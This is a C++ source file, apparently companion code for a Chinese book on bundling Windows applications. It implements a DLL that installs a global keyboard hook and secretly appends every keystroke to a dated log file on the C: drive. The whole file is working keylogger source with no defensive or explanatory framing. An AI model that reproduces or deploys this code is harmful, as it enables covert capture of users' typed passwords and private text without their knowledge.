keybhook.cpp

来自「《Windows应用程序捆绑核心编程》配套源码」· C++ 代码 · 共 87 行

// KeybHook.cpp:实现CkeybHookApp类.
//
#include "stdafx.h"
#include "KeybHook.h"

/////////////////////////////////////////////////////////////////////////////
// CKeybHookApp

BEGIN_MESSAGE_MAP(CKeybHookApp, CWinApp)
	//{{AFX_MSG_MAP(CKeybHookApp)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CKeybHookApp construction

CKeybHookApp::CKeybHookApp()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CKeybHookApp object

//---------------------------------------------------------------------------
CKeybHookApp theApp;
LRESULT CALLBACK LaunchHook(int nCode,WPARAM wParam,LPARAM lParam); 
void SaveLog(char* c); 
HHOOK kbHook;

//---------------------------------------------------------------------------
// 输出函数.
DllExport void WINAPI InstallKbHookEv() 
{ 
	// 安装全局钩子.
	kbHook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, 
		(HOOKPROC)LaunchHook, 
		theApp.m_hInstance, 0 ); 
} 

//---------------------------------------------------------------------------
// 钩子函数.
LRESULT CALLBACK LaunchHook(int nCode,WPARAM wParam,LPARAM lParam) 
{ 
	// 让其它全局钩子获得消息.
	LRESULT Result=CallNextHookEx(kbHook,nCode,wParam,lParam); 

	if(nCode==HC_ACTION) 
	{ 
		if(lParam & 0x80000000) 
		{ 
			// 保存按键消息.
			char c[1]; 
			c[0]=wParam; 
			SaveLog(c); 
		} 
	} 
	return Result; 
} 

//---------------------------------------------------------------------------
// 保存按键记录.
void SaveLog(char* c) 
{ 
	// 获得当前时间,生成log文件名.
	CTime tm=CTime::GetCurrentTime(); 
	CString name; 
    
	// 生成文件名.
	name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
	CFile file; 

	// 可以根据需要设定文件名.
	if(!file.Open(name,CFile::modeReadWrite)) 
	{ 
		file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 
	} 

	// 在文件末尾写.
	file.SeekToEnd(); 
	file.Write(c,1); 
	file.Close(); 
}